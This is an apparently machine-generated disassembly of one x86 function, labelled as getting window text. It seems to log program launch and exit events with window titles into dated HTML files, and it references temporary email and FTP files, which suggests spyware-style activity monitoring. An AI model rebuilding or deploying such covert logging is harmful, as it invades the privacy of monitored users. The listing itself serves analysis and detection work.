Function at 0x10008a30
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x10181738
call fcn.10098054
sub esp, 0x138
cmp dword [ebp + 8], 1
push ebx
push esi
push edi
je 0x10008a53
cmp dword [ebp + 8], 2
jne 0x10008f02
call fcn.10005cf2
test eax, eax
jne 0x10008f02
call fcn.10005d2f
test eax, eax
jne 0x10008f02
call fcn.10005dd1
test eax, eax
jne 0x10008f02
call fcn.100063e0
test eax, eax
jne 0x10008f02
xor ebx, ebx
cmp dword [0x1028603c], ebx
je 0x10008f02
lea eax, [ebp - 0x1c]
push eax
call fcn.10006a35
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], ebx
cmp dword [eax - 8], ebx
jle 0x10008efa
lea eax, [ebp - 0x20]
push eax
call fcn.10006bf7
pop ecx
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], 1
cmp dword [eax - 8], ebx
jle 0x10008ef2
cmp dword [0x10286058], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov edi, 0x101bf6f8
mov esi, 0x101bf724
je 0x10008bc8
mov eax, dword [0x101bf0e0]
mov dword [ebp - 0x10], eax
push 0xffff
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
mov byte [ebp - 4], 2
call fcn.1000472e
push ecx
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x1027fbfc
call fcn.100011a1
push ecx
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.TmpEmailFile
call fcn.100011a1
push ecx
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x28], esp
push str.CommonParams
call fcn.100011a1
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
call fcn.10005135
add esp, 0x18
push dword [eax]
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 6
push dword [ebp - 0x20]
push str._s_s
push eax
call fcn.1000494e
add esp, 0x10
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.10001469
push ecx
lea eax, [ebp - 0x10]
mov ebx, esp
mov dword [ebp - 0x28], esp
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000472e
lea eax, [ebp - 0x18]
push eax
call fcn.100051ea
pop ecx
pop ecx
push eax
push ebx
mov byte [ebp - 4], 7
call fcn.100048a4
call fcn.100053f9
pop ecx
lea ecx, [ebp - 0x18]
call fcn.10001469
push esi
push dword [ebp - 0x10]
call fcn.10098a23
pop ecx
mov dword [ebp - 0x18], eax
pop ecx
lea ecx, [ebp - 0x10]
call fcn.10001469
xor ebx, ebx
cmp dword [0x10286070], ebx
je 0x10008cb8
mov eax, dword [0x101bf0e0]
mov dword [ebp - 0x10], eax
push 0xffff
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
mov byte [ebp - 4], 8
call fcn.1000472e
push ecx
mov byte [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x1027fbfc
call fcn.100011a1
push ecx
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x24], esp
push str.TmpFTPFile
call fcn.100011a1
push ecx
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.CommonParams
call fcn.100011a1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 8
push eax
call fcn.10005135
add esp, 0x18
push dword [eax]
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xc
push dword [ebp - 0x20]
push str._s_s
push eax
call fcn.1000494e
add esp, 0x10
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.10001469
push ecx
lea eax, [ebp - 0x10]
mov ebx, esp
mov dword [ebp - 0x28], esp
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000472e
lea eax, [ebp - 0x14]
push eax
call fcn.100051ea
pop ecx
pop ecx
push eax
push ebx
mov byte [ebp - 4], 0xd
call fcn.100048a4
call fcn.100053f9
pop ecx
lea ecx, [ebp - 0x14]
call fcn.10001469
push esi
push dword [ebp - 0x10]
call fcn.10098a23
pop ecx
mov dword [ebp - 0x14], eax
pop ecx
lea ecx, [ebp - 0x10]
call fcn.10001469
xor ebx, ebx
mov eax, dword [0x101bf0e0]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [0x101bf0e0]
mov dword [ebp - 0x10], eax
movzx eax, word [ebp - 0x3e]
push eax
mov byte [ebp - 4], 0xf
movzx eax, word [ebp - 0x42]
push eax
movzx eax, word [ebp - 0x44]
push eax
lea eax, [ebp - 0x10]
push str._04d__02d__02d
push eax
call fcn.1000494e
add esp, 0x14
lea eax, [ebp - 0x20]
push edi
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100048a4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0x10
push ecx
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.100047ff
push str..htm
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x11
push eax
call fcn.100048a4
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x12
call fcn.10004792
lea ecx, [ebp - 0x34]
call fcn.10001469
lea ecx, [ebp - 0x24]
call fcn.10001469
lea ecx, [ebp - 0x2c]
call fcn.10001469
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xe
call fcn.10001469
push esi
push dword [ebp - 0x30]
call fcn.10098a23
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x10008ece
and byte [ebp - 0x144], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x143]
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x144]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, dword [0x101bf0e0]
mov dword [ebp + 0xc], eax
cmp dword [ebp + 8], 1
mov byte [ebp - 4], 0x13
mov ebx, str.launch_program
je 0x10008db7
mov ebx, str.exit_program
lea eax, [ebp - 0x24]
push eax
call fcn.10006e37
mov esi, eax
lea eax, [ebp - 0x2c]
push 0
push eax
mov byte [ebp - 4], 0x14
call fcn.100050e6
mov edi, eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 0x15
push eax
call fcn.10005bbe
add esp, 0x10
push dword [esi]
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x16
push ecx
push dword [edi]
push ebx
push dword [eax]
lea eax, [ebp + 0xc]
push str._s__s:__s__s__at__s.
push eax
call fcn.1000494e
add esp, 0x1c
lea ecx, [ebp + 8]
call fcn.10001469
lea ecx, [ebp - 0x2c]
call fcn.10001469
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x13
call fcn.10001469
push 0
mov edi, 0x101bf680
push dword [ebp + 0xc]
mov esi, str.FFFFFF
mov ebx, str.100_
push str.BFBFBF
push edi
push 0x101bf664
push str.Tahoma
push esi
push str.table_layout:fixed_word_wrap:break_word_word_break:break_all
push esi
push esi
push ebx
push edi
push dword [ebp - 0x10]
call fcn.1000547a
add esp, 0x34
cmp dword [ebp - 0x18], 0
je 0x10008e8b
push 0
push dword [ebp + 0xc]
push str.BFBFBF
push edi
push 0x101bf664
push str.Tahoma
push esi
push str.table_layout:fixed_word_wrap:break_word_word_break:break_all
push esi
push esi
push ebx
push edi
push dword [ebp - 0x18]
call fcn.1000547a
add esp, 0x34
cmp dword [ebp - 0x14], 0
je 0x10008ebb
push 0
push dword [ebp + 0xc]
push str.BFBFBF
push edi
push 0x101bf664
push str.Tahoma
push esi
push str.table_layout:fixed_word_wrap:break_word_word_break:break_all
push esi
push esi
push ebx
push edi
push dword [ebp - 0x14]
call fcn.1000547a
add esp, 0x34
push dword [ebp - 0x10]
call fcn.10098975
pop ecx
lea ecx, [ebp + 0xc]
call fcn.10001469
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
je 0x10008edc
push dword [ebp - 0x18]
call fcn.10098975
pop ecx
cmp dword [ebp - 0x14], ebx
je 0x10008eea
push dword [ebp - 0x14]
call fcn.10098975
pop ecx
lea ecx, [ebp - 0x30]
call fcn.10001469
lea ecx, [ebp - 0x20]
call fcn.10001469
lea ecx, [ebp - 0x1c]
call fcn.10001469
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret